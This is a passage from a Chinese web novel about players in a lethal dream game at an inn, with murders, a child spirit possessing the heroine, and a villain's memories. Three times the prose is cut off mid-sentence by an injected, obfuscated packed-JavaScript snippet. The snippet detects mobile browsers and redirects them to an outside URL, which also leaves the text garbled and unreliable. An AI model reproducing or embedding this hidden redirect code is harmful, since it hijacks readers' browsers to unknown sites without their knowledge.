吴樊祐笑着摸了摸俞小澄的头,反问:“你怎么会守我?” 俞小澄如实回答:“我怕有意外。” 吴樊祐笑道:“她可能也怕有意外。” “没道理啊……她怎么会想你死?!”俞小澄始终难以释怀。 “也许只是你还不了解她。”吴樊祐敷衍地解释,然后不让俞小澄再继续追问下去,催促着俞小澄和白羽楠二人离开了会议厅。 虽然在这件事上,俞小澄始终有所怀疑,可很快便无暇再思考下去,因为有更严峻的问题摆在了他们面前——今夜,谁会成为死神的下一个目标? 112. 梦境(四) 自从曾勇死在白羽楠的房间后,白羽楠就不敢再回自己的房间,在俞小澄的房间里磨磨蹭蹭等到晚上十点,才求着俞小澄陪她一起回房取信。 二人战战兢兢地走到房间[2-6]门前,推开门,房中早已没有尸体,但是血迹斑斑,东西杂乱地掉落在地上,桌上、墙上、窗帘上……四处留下清晰的血掌印,无处不是曾勇死前挣扎的痕迹。 二人不敢多看,慌张地捡起门口地毯上的黑色信封,便急冲冲关门回到了[2-5]房中。 其实就算不看信中卡片,俞小澄也能猜到结果,但还是怀揣着侥幸心理,与白羽楠一道拆开了信封。 果然,任务卡上空无一字,而她们两的身份又回到了第一天。 俞小澄又变回前妻李梦曼,白羽楠则依然是秘书谭婉。 看着俞小澄手上的身份卡,白羽楠焦虑地咽了咽唾沫,几度欲言又止。 俞小澄猜到了白羽楠的想法,笑着安慰道:“你觉得这个名字不吉利吗?昨晚没死,会不会今晚再来一次?” 白羽楠像是被戳穿一般,微微瞪大了眼睛,随即不好意思地点了点头。 俞小澄看着身份卡上几个红字,沉思了片刻,对白羽楠说:“昨晚的目标本来是作为李梦曼的你,最后曾勇死在了你的房间里,是不是说明,恶灵动手只针对房间,而不知道目标实际在哪里?” “啊!没错!” 白羽楠恍然大悟似的,拉着俞小澄就往外走,一路蹑手蹑脚东张西望,来到房间[2-3]门前,转动门把手,发现房门没有上锁,于是拉着俞小澄就进了屋。 “你这反应够快的。”俞小澄轻笑。 白羽楠小心地在房间里巡视一圈,略微得意地说道:“再不反应快点,怎么死的都不知道。就是不知道这招能否奏效。” 俞小澄说:“总比坐以待毙强。不过,得把吴樊祐也叫过来,万一今晚他是目标……。” 白羽楠脸上露出意味深长的笑:“噢,我明白!知道你放心不下他,嘿嘿,去吧去吧,不过我在这儿不会打扰到你们吧?” 俞小澄的脸霎时间红成一片:“别、别乱说,我对他跟对你一样。” “嘿嘿,投票时你守护的可是吴樊祐,不是我,唉,我吃醋了。”白羽楠故意装出一副嫉妒的模样。 俞小澄有种被人当面拆穿的窘迫感,慌慌张张地想要解释,可支支吾吾半晌却感觉越描越黑。 见她急得手足无措的模样,白羽楠满意地收起了玩笑话,又一本正经地说道:“说起来,萧莹怎么会让章锐以吴樊祐为目标呢?怎么看都不符合她的迷妹人设啊!” 俞小澄对此同样无法理解,当时之所以选择守护吴樊祐,只是防一手章锐自作主张,可看萧莹的态度,的确是她指使章锐做的。 “难道因爱生恨,得不到就毁掉?看她不像这种极端的疯子啊……”白羽楠呢喃自语。 “吴樊祐的表现也太无所谓了……” 带着找不到答案的疑问,俞小澄出门前往吴樊祐的房间,敲门后,睡眼惺忪的吴樊祐出现在她面前。 真是心大……俞小澄在心中吐槽。 将二人的打算告诉吴樊祐后,吴樊祐表示赞同,但并无意愿与二人一同躲到别的房间。 俞小澄问他原因,他只是开玩笑道:“跟学姐住一间房,我怕晚上睡不着。” 俞小澄一愣,有种被拒之门外的挫败感,小声嘀咕道:“刚到穷途旅店的时候,怎么不见你睡不着……” 吴樊祐眼神飘忽不定,似在思考着更为合理的拒绝理由。 俞小澄忽然意识到自己现在这样子好像有点强买强卖的感觉,很像是要逼着对方与自己同住一间一样,急忙战术性地咳嗽两声,抬手指了指靠近楼梯的[2-9]房间。 那里曾是曾勇的房间,如今同样空置了。 “刚才太急忘了,三个人一起住的确太挤了,要不你去那个房间吧,反正,别待在自己的房间,这样我安心些。” 俞小澄故作轻松地说完叮嘱的话,也不等吴樊祐给出回应,便想落荒而逃,刚一转身,却被吴樊祐捉住了手腕。 只见吴樊祐脸上带着柔和的笑,可不知为何,俞小澄从他的笑容中看出一丝苦涩,明明淡得如同一杯反复冲泡的清茶,已经没了味道,但茶叶的苦涩仿佛融进了茶杯中。 “学姐是担心我吗?不用担心,很快就可以结束了。” 吴樊祐的话像是安慰,又像是意有所指。 “哦……” 俞小澄茫然地应了一声,便见吴樊祐松了手,一脸轻松地向她挥手道了声晚安,伸着懒腰往屋里走去,房门随即关闭。 看来,他似乎根本没将今夜的危险放在眼里。 俞小澄无奈地叹了口气,独自返回了房间[2-3]。 将门反锁后,俞小澄和白羽楠挤在床上怎么也睡不着,一点风声拍打在窗户上发出轻微的响动,都能让两人惊恐地从床上一跃而起。 兴许是紧张的情绪持续了太久,二人终于在疲惫不堪中睡了过去。 不知过了多久,俞小澄迷迷糊糊听到争吵的声音,并不算激烈,声音模糊听不真切。 等到俞小澄强睁开眼睛,坐起身试图仔细分辨时,那阵争吵声戛然而止,她看了一眼手表,时间刚过十一点,一切都仿佛是她睡糊涂了产生的幻听。 俞小澄愣了半晌,总觉得那两个声音听上去有些耳熟,可四周安静得只能听见白羽楠熟睡的呼吸声,她揉了揉脸,怀疑自己混淆了梦与现实。 于是俞小澄又倒头睡了过去。 这一觉睡得格外沉,直到耳边响起敲门声,俞小澄才从睡梦中惊醒,懵了片刻才想起自己身在何处。 能到房间[2-3]敲门的人,俞小澄估计只有吴樊祐,望着窗外天已大亮,心中瞬间安心了不少,他们终于熬到了最后一日。 俞小澄起身开了门,却发现门外站着的人并非吴樊祐,而是单浩言。 “出事了。” 单浩言面色凝重地开口道。 俞小澄第一反应便是往吴樊祐的房间跑,可刚出门就看见房间[2-4]的门前围着三个人——章锐、武明和何管家。 俞小澄记得这个房间住的是萧莹,她沉默着靠近房间,扒开挡在门前的何管家,径直往房间内探去。 只见萧莹安静地躺在床上,面色苍白,嘴唇泛紫,浑身上下已经失去了生机,如同一具人偶。 一阵风从打开的窗户吹了进来,带来一丝凉意,此时窗边还站着一个人,正是吴樊祐,他双手撑在窗台上,沐浴在清晨的阳光里,神情看上去格外平静,仿佛看不见房中的死人。 何管家的声音在她身后响起:“嗯……虽然这次出事的人又在计划之外,但是说到底也是一条人命,有劳侦探先生帮我们找出……啊,不对,这次的凶手是侦探先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971474|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生,那么,期待各位下午的投票。” 何管家的声音透着一股阴森的气息,说罢便哼着小曲往楼梯口走去。 俞小澄茫然地看着房中的一切,向吴樊祐问道:“到底发生了什么事?凶手是侦探?这是什么意思?” 吴樊祐沉默着没有转身,就像没有听见俞小澄的问话一般。 单浩言带着白羽楠赶了过来,声音低沉地说道:“吴樊祐刚才已经承认了,是他动手杀了萧莹……” 俞小澄简直不敢相信自己听到了什么,看着床上躺着的人面无血色、一动不动,她又不得不相信,这并不是什么玩笑,都是真实的。 恍然间回想起昨晚自己的“错觉”,那阵吵架声,不正是吴樊祐和萧莹的声音吗? 就在俞小澄难以消化之际,吴樊祐缓缓转过身子,在阳光下笑得无比灿烂,坦然回应:“对不起,学姐,这是我能想到最好的办法了,只要票我出局,这场梦境就结束了。” “你是不是疯了!”俞小澄难以抑制住心中怒气,浑身不由自主颤抖起来。 “别生气,我相信以学姐的实力,一定可以离开旅店,我在不在其实已经不重要了。”吴樊祐站在窗边不敢靠近,苦笑着解释。 俞小澄感觉信仰一点一点碎裂成渣,过去那些记忆都像是幻觉,她只觉眼前的人无比陌生。 在她的记忆中,吴樊祐最是善恶分明,绝不可能做出这种事情,她宁愿相信这是恶灵的陷阱,宁愿相信他是被陷害的,而不是听他亲口承认。 有罪! 脑海中再度回荡起三号客服无比坚定的声音。 俞小澄感觉浑身的力气都被这两个字抽离,让她晕眩得快要倒地,幸好白羽楠上前扶了她一把。 “他自己都承认了……那我们投了他不就完事了嘛!”章锐有些不耐烦地犯起嘀咕。 武明义正言辞地说:“凶手就在眼前,不投凶手,难不成还要冤死好人吗?” 单浩言一脸纠结地望着俞小澄和白羽楠:“唉,说好的联盟,你们说怎么办就怎么办,我的入侵卡还在他手里,就算章锐的国王卡还没使用,也威胁不到他。” 吴樊祐闻言,随手将兜里卡牌扔给了单浩言,并若无其事地说道:“你不必问我学姐,你想怎么投随意,反正我会自投。” 这一瞬间,俞小澄觉得脑袋里似乎断了一根弦。 她没有理会任何人,只想找个地方静静,于是失魂落魄地拨开人群,离开了众人的视野,走回了自己房间,闭上了房门。 她走到床边想坐一下,忽然意识到哪里不对劲,回过神来扫视一圈,才发现整间房如同接受了一场粗暴的洗礼。 墙壁上留下一道道割裂的痕迹,地板上密密麻麻遍布无数小孔,床已塌陷,仿佛遭受过重物锤击。 就像是有人曾在这间房里触动了机关,然后留下了骇人的痕迹。 如果昨晚她与白羽楠留在房间里,是否现在已经是两具千疮百孔的尸体呢? 俞小澄陡然清醒过来,白羽楠的直觉是对的,也许昨晚的目标依然是李梦曼,幸好她们溜到了别的房间,这才逃过一劫。 可恶灵真的会放过她吗? 如果这间房里没有人死,难道恶灵不会对其他房间动手吗? 答案显而易见,这或许就是吴樊祐选择自己动手的缘由,梦境太过疯狂,她的仁慈根本帮助不了他们,而他选择替她成为恶人。 113. 梦境(四) 如果所有人都因为有罪而来到这里,她又为何要不顾一切做好人? 为何要百般讨好那些自己根本不在乎的陌生人? 凭什么要她面对他人的恶意,还要保持良善? 如果昨天投票,萧莹和章锐没有碍事,吴樊祐便不需要费尽心思脏了自己的手。 一股无名怒火在胸中燃烧起来,曾经记忆中的憋屈,从不顺心的生活,令人窒息的人际关系,与梦境中的苦难交织、纠缠,然后全部化为燃料,让这团火熊熊燃烧。 她凭什么要同情想要加害自己的人? 她干嘛要责怪意图帮助自己的人? 就算恶灵曾经是住客又怎样?与她何干? 恶灵从不曾对玩家手下留情,她又凭什么在意他们的死活? 俞小澄不由自主冷笑起来,嘲笑自己的愚钝,懊恼自己的懦弱,厌恶所有给自己添堵的人。 从始至终,她的想法都很简单,保护那些需要她的人、看重她的人、珍惜她的人,只要他们平安离开旅店,她就算堕入地狱,也心甘情愿。 反正她活着与地狱已无差别,又何苦在意这虚伪的良善? 兴许是感受到俞小澄情绪的起伏变化,一直没精打采的进宝就像换了一个人,仿佛是被她的怒火点燃,进宝神情阴冷地飘到俞小澄面前,小手抚摸着俞小澄的脸。 她张了张嘴,声音如同冰冷的雨水往俞小澄脑海中侵袭,带着些魅惑的韵味。 “姐姐别怕,进宝会保护姐姐,姐姐只需要好好睡一觉,进宝会帮姐姐离开这里,我们一起去找招财好不好?进宝一个人好害怕……” 从进宝深邃的眼眸中,俞小澄仿佛看见一道被阴森的气息包裹的铁门,吸引着她将门打开。 俞小澄感觉自己就站在铁门前,门缝里渗出阵阵灰雾,门后像是藏着什么怪物不断撞击着铁门,发出躁动不安的声音。 可俞小澄丝毫感觉不到恐惧,她缓缓伸出手,拉开了那道沉重的铁门。 门后一团灰雾猛然冲出,将俞小澄撞入了那片熟悉的深海,眼前一切再度蒙上一层朦胧的滤镜,而她的身体不再受她支配。 进宝操控着俞小澄的身体,扭了扭脖子,伸展开手臂,就像一个沉睡许久的恶魔,活动着筋骨,然后毅然走出了房间。 走廊上,吴樊祐双手交叉抱在胸前,背靠墙壁与众人对峙,始终一副满不在乎的表情,就像即将被投死的人不是他自己。 白羽楠显然难以消化眼下的情况,正试图从吴樊祐口中得到他是被恶灵威胁的说辞。 另外三人神色紧张,坚定的眼神却在告诉别人,他们心意已决,投死吴樊祐,他们不会有任何心理负担。 听见开门声,众人的视线向俞小澄汇聚,似乎是在等待她的决定。 吴樊祐见状,急忙站直了身子,想要开口劝说什么,话到嘴边却又咽了回去,只能以眼神探查着俞小澄的情绪。 在众人眼里,俞小澄的状态有些不同寻常,她眼神迷离,脚步虚浮,手指比对着吴樊祐的方向,左摇右晃地走到吴樊祐面前。 吴樊祐伸手扶她,她顺势便跌入吴樊祐怀里,随即当着众人的面,双手高举过头顶,一把捧住了吴樊祐的脸颊,将人往面前拉。 吴樊祐赶紧弯下腰,视线与俞小澄齐平,心中正诧异,便见俞小澄轻轻拍了拍他的脸颊,豪气十足地说道:“祐子别怕,姐姐保护你!” 正当吴樊祐瞳孔震颤时,俞小澄松开双手,转身看向其他人,双手叉腰,盛气凌人地吼道:“谁敢往我家祐子身上投票,我就用暗杀卡干掉谁。” 全场惊得说不出话来。 此刻真正的俞小澄正蜷缩在黑暗之中,脑袋不停地撞击着地面,恨不得将自己撞晕过去,免得看到进宝继续荒唐下去。 “不是,姐,你喝假酒了吗?!” 俞小澄不知为何会让进宝附身,更悔恨自己没有失去意识,然后眼睁睁看着自己的人设彻底崩塌。 方才的愤怒荡然无存,只剩下满脸的羞愧。 “这女人怎么了?鬼上身了?”章锐惊得合不拢嘴,挠着头问身旁的单浩言。 进宝闻言一下就不高兴了,大步上前,一把揪住了章锐的耳朵,气势汹汹地说道:“我最不喜欢别人说我是鬼了,你这个人看着就很讨厌,就暗杀你吧!” 章锐被揪得嗷嗷叫,一边挣扎着想从进宝手里逃脱,一边苦着脸求饶:“我是鬼,我才是鬼,姑奶奶别动怒……唉哟……我这造的什么孽啊……” 吴樊祐和白羽楠面面相觑,谁都搞不清楚情况,愣了愣神,才急忙上前,一左一右架住进宝。 “你们干嘛,放开我,我要替姐姐教训坏人!”进宝拼命挣扎道。 吴樊祐冲白羽楠使了使颜色,一边架着进宝往楼梯走,一边柔声劝道:“教训坏人,没问题,但我们先吃早饭好不好?饿着肚子怎么教训坏人呢?” 进宝听到早饭二字,摸了摸肚子,随即放弃了挣扎,点头道:“好,正好我也饿了。” 等到远离人群,吴樊祐才厉声质问:“兄弟你谁啊,把我学姐弄哪儿去了,赶紧换回来!” 白羽楠一脸茫然:“到底怎么回事啊?小澄姐怎么突然变了个人一样,人格分裂?” 进宝咯咯笑了起来:“姐姐生气了,进宝要替姐姐教训坏人。” “别捣乱,你这是教训坏人吗?你分明是在教训我……”吴樊祐气恼地说道。 “哪有?!进宝难道对祐子不好吗?”进宝说着就昂起头,将脸凑近吴樊祐。 吴樊祐耳廓微红,手指抵住进宝的额头,将她的头摆正,小声嘀咕道:“你别用学姐这张脸跟我说话,赶紧,把学姐换回来。” 俞小澄此时已经在深海中幻想出一张床,躺上去,盖上被子,希望就此一睡不醒,根本不想回去面对进宝惹出来的烂摊子。 进宝闭上眼,咬着牙浑身用劲,最后睁开眼,一脸无辜地摇了摇头:“不行,进宝肚子好饿,没有力气换姐姐出来。” 吴樊祐捏紧拳头,又忍气松开手掌,最终无奈叹了口气:“行,那你多吃些!” 吴樊祐和白羽楠将进宝带到了餐厅,面对一桌的美食,进宝两眼发光口水直流,完全不顾形象,狼吞虎咽地吃起来。 “你吃慢些,别噎着小澄姐。” 白羽楠在一旁一脸担忧地照顾着进宝,时而替她擦擦嘴,时而帮她拿吃食,像极了照顾小孩的母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983526|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 吴樊祐单手撑着脑袋,侧脸望着进宝,随着时间流逝,他的表情渐渐失去耐性。 终于,吴樊祐伸手按住了进宝满是食物残渣的双手。 “够了,你再吃下去,我学姐要被撑死了!” 吴樊祐紧皱着眉头,拿起纸巾替进宝擦干净双手。 进宝一脸委屈:“可是进宝还是很饿!” 吴樊祐似笑非笑地掐着进宝的脸,冷冷说道:“是你饿,不是我学姐饿,不许吃了!” “这可咋整?吃了这么多都吃不饱,小澄姐啥时候才能回来啊?” 白羽楠愁容满面地看着进宝,此时俞小澄的身体已经撑得不行,一个饱嗝从食物缝隙中溜了出来。 俞小澄能够明显地感觉到身体的负担,却也同时能够感受到进宝的饥饿。 这些食物并不能填补进宝胃里的空虚,她正贪婪地渴望着饱腹一顿。 “你想要的可能不是这些。”吴樊祐的声音在耳边响起。 俞小澄看着吴樊祐将进宝从座椅上拎起来,然后拉着进宝的手往餐厅外走去,他的眼底流露出一股寒意,面无表情地将进宝带到了何管家的房门前。 吴樊祐敲了敲门,然后退后一步,将进宝推上前去。 片刻后,房门开启,何管家眯着眼,从门缝里探出半个身子。 此刻在俞小澄眼中,何管家身上散发着一股莫名的香气,如同柠檬般清新的香味,刺激着她的味蕾,让她垂涎欲滴。 “请问又有什么事吗?我的房间不太欢迎客人光临。”何管家依然笑容可掬,但行为举止却表现得十分排斥。 进宝痴迷地看着何管家,眼底含笑,说:“何管家,你好香啊!” 话音刚落,进宝一把抓住了何管家的手臂。 何管家想躲,却像被什么无形的绳索绑住了身体,动作僵硬地站在原地,眼睁睁看着进宝掀起自己的衣袖,然后一口狠狠咬了上去。 进宝的这一口凶狠异常,血腥味立即喷涌而出,灌满俞小澄的口腔与鼻腔。 俞小澄能清晰地感知到,进宝没有吸食这些血液,而是吸食着一种香柠味的物质,类似于灵魂,那种物质如同血液一点点从何管家身体流逝。 “不可以,你们这是犯规!” “不,我才是创造者,一切都应该按照我的剧本发展!” “放开我,我还不能死!死的不应该是我!” …… 歇斯底里的呐喊。 何管家挣扎无果,无能为力地嘶吼着,只能眼睁睁地看着自己的生命走向终结。 随着灵魂流逝,何管家的身体开始碎裂成渣,仿佛风化千年,不堪一击。 整个梦境也在此时开始地震山摇,俞小澄听到了石块崩裂的声响,公馆逐渐被撕裂,白色的强光开始侵蚀整个世界。 当最后一滴灵魂被进宝吸食殆尽,白光包围了整个世界。 在这个纯白的世界里,俞小澄孤身站立。 进宝的胃终于得到满足,她闭眼沉入深海,而俞小澄则从海底浮起。 在夺回身体控制权的一瞬,俞小澄头痛欲裂,铺天盖地的记忆如洪水一般涌入大脑里,那些根本就不属于她的记忆。 114. 曾经的 在记忆中,他是一个编剧,擅长编写悬疑推理剧本,在圈子里小有名气,可终究被时代淘汰,当初的才华横溢,在时间的消磨下,只剩下自负与不甘。 他有一个女助理,年轻、漂亮、天赋异禀,人生的梦想也是成为一个优秀的编剧。 他发现了她的才华,跟她的相貌一样光彩照人,他一边以培养为借口画着大饼,一边盗用她的作品。 这样的压榨持续了两年,女助理终于意识到情况不对,向他提出辞职,并打算自立门户,而他一直以来的剽窃,她无奈选择既往不咎,只希望今后井水不犯河水。 他,怒不可遏。 “她一直都崇拜我,暗恋我,怎么可能背叛我?” “没有我,她什么也不是!” “这不可能是她的想法,肯定是受人蛊惑!” 无数自以为是的想法在脑中萦绕,让他变得愈发疯狂。 在她离开后,他成了一个名副其实的跟踪狂,倾尽全力渗透进她的生活和工作之中,总幻想着她是自己的女朋友,造谣、送礼、电话骚扰…… 事业上利用人脉打压,生活中百般打扰,他越来越享受这种控制别人人生的快感,她就像他剧本中的女主角,注定要受他摆布,一步也别想逃! 终于,她无法忍受这样折磨的日子,为自己的生命画上了终止符。 “啧,真是没用,怎么这么容易就死了?” “哼,她一定是后悔离开我了,才会忍受不了选择自杀!” 他,从未觉得自己有错。 再后来,他被人袭击,重伤入院,袭击他的人似乎是她的家人。 真是有意思,他发誓要让那些人全都付出惨重代价。 可惜还未等到他动手,他便来到了穷途旅店。 记忆停留在了这里,俞小澄感觉一阵恶心,睁开眼,她又回到了房间里,而白羽楠正一脸焦急地坐在床边,摇晃着她的身子。 “别晃了,我要吐了。”俞小澄捂着嘴坐起身。 白羽楠缓缓呼出一口气,紧张的表情终于松弛下来,“吓死我了,刚才一直叫你不醒,还以为你出事了呢……” 俞小澄伸手到衣兜里,掏出进宝的陶瓷娃娃,此时的进宝双眼紧闭,脸上露出微笑,俨然一副酒足饭饱睡大觉的模样。 脑海中忽又浮现出那些令人作呕的记忆,胃里一阵翻腾,俞小澄便又蜷缩回被窝里。 那种感觉就像是吃了什么坏东西,发生肠胃反应,她弯曲着手臂搭在额头上,闭上眼,希望睡眠能缓解这股不适感。 白羽楠见她难受,也没再问什么,替她掖好被角,让她再睡几个小时,并帮她在手表上调了个早八的闹钟。 等做完这些,白羽楠才重新回到床上。 之后俞小澄睡得并不安稳,好不容易身体的不适感减弱,慢慢睡了过去,可梦中时不时便会闯入那些烦人的记忆,如同一个个记忆炸弹,轰得她不得安宁。 “我没有错!要怪就怪她自己太脆弱!” “你们凭什么审判我?” “哈哈哈哈……我不能离开,你们也一样!” …… 那些不属于俞小澄的意识,仿佛梦魇一般缠着俞小澄,宣泄着他的不满与自以为是。 过了许久,似乎才逐渐消散。 一阵闹铃的滴滴声将俞小澄从睡梦中唤醒,她一脸疲惫地睁开了眼睛,和白羽楠简单洗漱一番,开门走出房间。 此时吴樊祐就靠在她们的房门边,不知在这儿等了多久,见到俞小澄开门出来,脸上的神色瞬间由忧转喜。 “学姐,还好吧?”吴樊祐一脸关切。 俞小澄的脑中闪过吴樊祐带进宝去找何管家的画面,不禁皱起了眉头,疑惑地问:“你怎么知道进宝可以吞噬恶灵?” “啊?”吴樊祐明显愣了一下,嘴角微微抖动,“我哪里知道?你睡糊涂了吧?” “那你为何带进宝去找何管家?”俞小澄审视着吴樊祐的表情。 吴樊祐答得十分轻巧:“我不过想去问问何管家有没有别的吃食,没承想进宝把何管家吃了,纯属意外。” 俞小澄一脸狐疑,奈何并没有证据证实自己的猜想,只能接受他这种听上去就很虚假的解释,没有再深究下去。 白羽楠提议先去餐厅,俞小澄不知是因为进宝在梦中吃得太多,还是因为进宝吃了个人,听到“吃”这个字,她还有些犯恶心,但没有拒绝,一路上将自己看到的奇怪记忆告诉了二人。 “那女人的样子,跟莫小琴一模一样。”俞小澄感叹着。 “所以你看到的是何毕的记忆?”白羽楠冷静分析。 俞小澄点头称是,随即面露愁容,艰难地开口:“何毕不是什么好人,他害死了莫小琴……” 白羽楠义愤填膺道:“能想出这么恶毒的梦境规则,肯定不是好人啊。” 俞小澄知道她没有听懂自己言下之意,表情挣扎片刻,终是低沉着声音提醒道:“三号客服说过,恶灵曾经也是旅店住客。” 白羽楠闻言表情瞬间凝固,终于意识到什么,声音迟缓地说道:“对啊……我也害死过某人……这里其实是地狱吗?为了惩罚我这样的罪人……所以,我们其实已经无法离开了,对不对?所以,连张尧也无法通过记忆之门的验证……” 楼梯间好像有一阵阴风吹过,让人不由自主打了个激灵,白羽楠上楼的动作停顿,嘴里小声念叨,眼中带着弱不经风的希望,望向俞小澄,像是希望能从她口中听到值得她期盼的答案。 然而俞小澄没能说出安慰的话,因为她自己内心已经失去了希冀,“离开”二字变得遥不可及。 俞小澄没有回应,埋下的头如同在默认,此刻她有些后悔,或许不应该那么快浇灭白羽楠的希望之火,可她不想白羽楠成为下一个张尧。 “呵,不必一大早就这么消极吧。”吴樊祐试图打破过于沉重的气氛,“试都不试就说不行,会不会太草率了些?” 俞小澄抬眼看了看吴樊祐,心中五味杂陈,一会儿诧异于吴樊祐这样阳光的人能干出坏事,一会儿又庆幸吴樊祐与自己是同样的人,不断变化的心境让她表情忽阴忽晴。 沉默许久,俞小澄低声提议:“要不,我们就一直留在旅店吧,呵呵,如果我们真的有罪,留在这里至少可以相互作伴不是?” 说罢她从衣兜里拿出进宝的陶瓷娃娃,笑道,“就算不找道具,我也有了保护你们的能力,我们一起留在穷途旅店好不好?” 俞小澄的声音带着些忐忑,暗藏了些许期待,她隐隐觉得留在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003012|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里也不错,身边有难得的朋友,还有喜欢的人,比回到现实不知强了多少倍。 她的提议立马引来白羽楠的赞同:“嗯!我觉得行,反正离开旅店也好不到哪儿去,我宁愿在这里陪小澄姐!” 白羽楠挽着俞小澄的胳膊,仿佛从自怨自艾的漩涡中解脱出来,眼中又有了光彩。 有时候俞小澄觉得,白羽楠也许跟自己一样,都挣扎着想要找寻一个容身之处,似乎彼此已经成为对方的心理慰藉。 然而,有人同意就有人反对,只是俞小澄没想到吴樊祐拒绝得如此干脆。 “不好,俞小澄,你忘记答应我的事了吗?”吴樊祐脸色阴沉得可怕,就像晴朗的天空突然阴云密布,说变天就变天。 俞小澄感觉心头一紧,下意识地后退一步,拉开了与吴樊祐的距离,心虚地辩解:“我记得,你会陪我走到最后,直到将盟友全都送出旅店……可事实是,我们根本没办法离开啊!你……不能留下吗?” 俞小澄感觉自己说话的声音已接近卑微,即便知道吴樊祐有自己的生活,也知道他的生活肯定不像自己这般一团糟,可她还是自私地希望吴樊祐能留下陪自己,就算是骗骗自己也好。 可是,她没能等到她想要的答案,只见吴樊祐表情复杂地盯着她,失望、气愤、苦恼、担忧、不甘……她完全读不懂吴樊祐究竟在想什么。 又是一阵令人窒息的沉默之后,吴樊祐重重叹了一口气,看似妥协实则强硬地说道:“既然学姐已经决定,那我们的约定就此终止。” 说完这句话,吴樊祐竟转身朝楼下走去。 俞小澄整个人愣在原处,有种说不出来的感觉,一直堵在胸口,灼烧着她的心。 果然被拒绝了啊…… “这小子到底要干嘛!”白羽楠扶着楼梯扶手往下张望,嘴里埋怨道,然后扭头看向呆立在一旁的俞小澄,“他这喜怒无常的性子着实讨人嫌,现在你要追上去可就输了。” 为了让自己体面一点,俞小澄强挤出一个笑,故作轻巧地回道:“噢,留下还是离开,全凭自愿,我无所谓啊。刚才只是在想,如果有谁不想留下,我可以帮忙寻找记忆之门,呵呵……话还没说完,人就给气走了,你看这事儿闹得……” 白羽楠凝视着俞小澄的眼睛,想要说什么,最终却什么也没说出口,只拉着俞小澄继续往楼上走。 空寂的楼梯间内,不知从哪里又吹来一阵风,阴森森的,让人背脊发凉。 忽然俞小澄的耳边响起一阵低语,就像是有什么东西附在她耳边,往她耳朵里吹气。 “呜呜……终于找到你了……” 那声音模模糊糊听不真切,仿佛幽灵的哭泣,俞小澄只觉头皮发麻。 她堵上耳朵急冲冲往外跑,白羽楠莫名其妙地跟上去。 一路狂奔到三楼餐厅,俞小澄才感觉围绕在四周的冷空气终于消散,喘着气随意找了个空位坐下,环顾一圈,发现陈奇独自一人坐在餐厅里,看上去有些狼狈。 俞小澄和白羽楠相视一笑,缓缓朝陈奇走去。 “哟,奇哥,昨晚的小雏菊失控了?怎么你看上去比我们还要狼狈些?”白羽楠调侃道。 陈奇一脸愤恨地将筷子往桌上一拍,骂道:“那该死的女骗子,居然敢耍我!” 115. 知人知面 俞小澄和白羽楠心照不宣地笑了起来,估计禾苒昨日又戏耍了陈奇,这二人半斤八两,无论谁着了谁的道,俞小澄觉得都不稀奇。 “禾苒人呢?看你这么生气,应该还活着吧?怎么?她把你小弟拐跑了?”白羽楠趁机嘲笑一番,谁让这两个狡猾的家伙,一见情况不对,就将好处提前占了去,如今也算报应。 提到叶思远这个言听计从的小弟,陈奇表情有些不自然,眼神飘忽不定,似是犹豫了片刻,才缓缓开口:“叶思远……死了……” “嗯?”俞小澄与白羽楠面面相觑。 上一回陈奇与叶思远二人一同进入雏菊梦境,最终陈奇没有对叶思远下死手,两人成功靠拖延时间离开梦境。 这一次,有禾苒这个眼中钉加入雏菊梦境,俞小澄觉得就算陈奇要靠阴人走出梦境,也应该是对禾苒动手,怎么会对叶思远下手呢? 看着二人怀疑的眼神,陈奇气急,高声嚷道:“是禾苒那个贱人!用假线索骗劳资,趁着劳资用安眠药把恶灵放倒,她抢了钥匙开启记忆之门跑了!妈的,记忆之门一启动,道具作用就失效了,叶思远挡了恶灵一击,劳资才有命出来……” 愤慨的情绪令陈奇忍不住用拳头直砸桌子。 “你确定是叶思远替你挡下恶灵攻击,不是你给了叶思远一击?”白羽楠的眼中写满怀疑。 陈奇骂骂咧咧:“劳资再狠也狠不过禾苒那个贱人,我绝对没对住客动过手,身上背着人命的是禾苒!妈的,怎么就没人信啊!” 陈奇暴跳如雷,那态度不像演戏,让原本心怀质疑的两人有了一丝动摇。 其实俞小澄唯一可以肯定的是,陈奇为了活命,曾害死过一个NPC,至于对住客下手的消息皆来自他人口述。 “张尧说,他曾无意间看见过你杀人,这你要如何解释?”俞小澄小心质问。 陈奇心中焦躁,胡乱抓扯着头发,气闷地说:“有人意外遇到恶灵,我不过刚好在现场,张尧便认定是我动的手,我解释了他们也不信,后来想着能唬人便默认了。谁知禾苒和张尧能以此挑拨离间,我真是服了!” 